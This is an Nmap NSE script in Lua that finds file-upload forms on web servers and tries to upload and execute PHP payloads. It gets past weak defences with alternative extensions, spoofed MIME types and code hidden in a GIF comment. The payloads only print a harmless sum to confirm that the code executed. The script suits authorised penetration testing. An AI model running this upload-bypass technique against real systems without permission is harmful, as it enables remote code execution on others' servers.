description = [[
Exploits insecure file upload forms in web applications
using various techniques like changing the Content-type
header or creating valid image files containing the
payload in the comment.
]]

---
-- @usage nmap -p80 --script http-fileupload-exploiter.nse <target>
--
-- This script discovers the upload form on the target's page and
-- attempts to exploit it using 3 different methods:
--
-- 1) At first, it tries to upload payloads with different insecure
-- extensions. This will work against a weak blacklist used by a file
-- name extension verifier.
--
-- 2) If (1) doesn't work, it will try to upload the same payloads
-- this time with different Content-type headers, like "image/gif"
-- instead of the "text/plain". This will trick any mechanisms that
-- check the MIME type.
--
-- 3) If (2), doesn't work, it will create some proper GIF images
-- that contain the payloads in the comment. The interpreter will
-- see the executable inside some binary garbage. This will bypass
-- any check of the actual content of the uploaded file.
--
-- TODO:
-- * Use the vulns library to report.
--
-- @args http-fileupload-exploiter.formpaths The pages that contain
--       the forms to exploit. For example, {/upload.php,  /login.php}.
--       Default: nil (crawler mode on)
-- @args http-fileupload-exploiter.uploadspaths Directories with
--       the uploaded files. For example, {/avatars, /photos}. Default:
--       {'/uploads', '/upload', '/file', '/files', '/downloads'}
-- @args http-fileupload-exploiter.fieldvalues The script will try to
--       fill every field found in the upload form but that may fail
--       due to fields' restrictions. You can manually fill those
--       fields using this table. For example, {gender = "male", email
--        = "foo@bar.com"}. Default: {}
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- |   Testing page /post.html
-- |
-- |     Successfully uploaded and executed payloads:
-- |      Filename: 1.php, MIME: text/plain
-- |_     Filename: 1.php3, MIME: text/plain
---

categories = {"intrusive", "exploit", "vuln"}
author = "George Chatzisofroniou"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

local http = require "http"
local io = require "io"
local nmap = require "nmap"
local string = require "string"
local httpspider = require "httpspider"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"

portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")


-- A list of payloads. The interpreted code in the 'content' variable should
-- output the result in the 'check' variable.
--
-- You can manually add / remove your own payloads but make sure you
-- don't mess up, otherwise the script may succeed when it actually
-- hasn't.
--
-- Note, that more payloads will slow down your scan significantly.
payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
  { filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
--  { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
--  { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
--  { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
--  { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
--  { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
--  { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
--  { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
}

listofrequests = {}

-- Escape for jsp and asp payloads.
local escape = function(s)
  return (s:gsub('%%', '%%%%'))
end

-- Represents an upload-request.
local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
  local request = {
    host = host;
    port = port;
    submission = submission;
    mime = mime;
    name = name;
    filename = filename;
    partofrequest = partofrequest;
    payload = payload;
    check = check;
    uploadedpaths = {};
    success = 0;

    make = function(self)
      local options = { header={} }
      options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
      options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'

      stdnse.debug2("Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))

      local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })

      return response.body
    end;

    checkPayload = function(self, uploadspaths)
      for _, uploadpath in ipairs(uploadspaths) do
        local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )

        if response.status ~= 404 then
          if (response.body:match(self.check)) then
            self.success = 1
            table.insert(self.uploadedpaths, uploadpath)
          end
        end
      end
    end;
  }
  table.insert(listofrequests, request)
  return request
end

-- Create customized requests for all of our payloads.
local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)

  for i, p in ipairs(payloads) do
    if image then
      p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
    end
    UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
  end

end

-- Make the requests that we previously created with buildRequests()
-- Check if the payloads were successful by checking the content of pages in the uploadspaths array.
local makeAndCheckRequests = function(uploadspaths)

  local exit = 0
  local output = {"Successfully uploaded and executed payloads: "}

  for i=1, #listofrequests, 1 do
    listofrequests[i]:make()
    listofrequests[i]:checkPayload(uploadspaths)
    if (listofrequests[i].success == 1) then
      exit = 1
      table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
      for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
        table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
      end
    end
  end

  if exit == 1 then
    return output
  end

  listofrequests = {}

end

local prepareRequest = function(fields, fieldvalues)

  local filefield = 0
  local req = {}
  local value

  for _, field in ipairs(fields) do
    if field["type"] == "file" then
      -- FIXME: What if there is more than one <input type="file">?
      filefield = field
    elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
      if fieldvalues[field["name"]] ~= nil then
        value = fieldvalues[field["name"]]
      else
        value = "SampleData0"
      end
      req[#req+1] = ('--AaB03x\nContent-Disposition: form-data; name="%s";\n\n%s\n'):format(field["name"], value)
    end
  end

  return table.concat(req), filefield

end

action = function(host, port)

  local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
  local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
  local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}

  local returntable = {}

  local result
  local foundform = 0
  local foundfield = 0
  local fail = 0

  local pixel = nil
  local pixelfn = nmap.fetchfile("nselib/data/pixel.gif")
  if pixelfn then
    local fh = io.open(pixelfn, "rb")
    pixel = fh:read("a")
    fh:close()
  end
  if not pixel then
    stdnse.debug1("Warning: Test file nselib/data/pixel.gif not found")
  end

  local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )

  if (not(crawler)) then
    return
  end

  crawler:set_timeout(10000)

  local index, k, target, response

  while (true) do

    if formpaths then
      k, target = next(formpaths, index)
      if (k == nil) then
        break
      end
      response = http.get(host, port, target)
    else

      local status, r = crawler:crawl()
      -- if the crawler fails it can be due to a number of different reasons
      -- most of them are "legitimate" and should not be reason to abort
      if ( not(status) ) then
        if ( r.err ) then
          return stdnse.format_output(false, r.reason)
        else
          break
        end
      end

      target = tostring(r.url)
      response = r.response

    end


    if response.body then

      local forms = http.grab_forms(response.body)

      for i, form in ipairs(forms) do

        form = http.parse_form(form)

        if form and form.action then

          local action_absolute = string.find(form["action"], "https*://")

          -- Determine the path where the form needs to be submitted.
          local submission
          if action_absolute then
            submission = form["action"]
          else
            local path_cropped = string.match(target, "(.*/).*")
            path_cropped = path_cropped and path_cropped or ""
            submission = path_cropped..form["action"]
          end

          foundform = 1

          local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)

          if filefield ~= 0 then

            foundfield = 1

            -- Method (1).
            buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)

            result = makeAndCheckRequests(uploadspaths)
            if result then
              table.insert(returntable, result)
              break
            end

            -- Method (2).
            buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
            buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
            buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)

            result = makeAndCheckRequests(uploadspaths)
            if result then
              table.insert(returntable, result)
              break
            end

            -- Method (3).
            if pixel then
              buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, pixel)

              result = makeAndCheckRequests(uploadspaths)
              if result then
                table.insert(returntable, result)
              else
                fail = 1
              end
            end
          end
        else
          table.insert(returntable, {"Couldn't find a file-type field."})
        end
      end
    end
    if fail == 1 then
      table.insert(returntable, {"Failed to upload and execute a payload."})
    end
    if (index) then
      index = index + 1
    else
      index = 1
    end
  end
  if next(returntable) then
    return returntable
  end
end
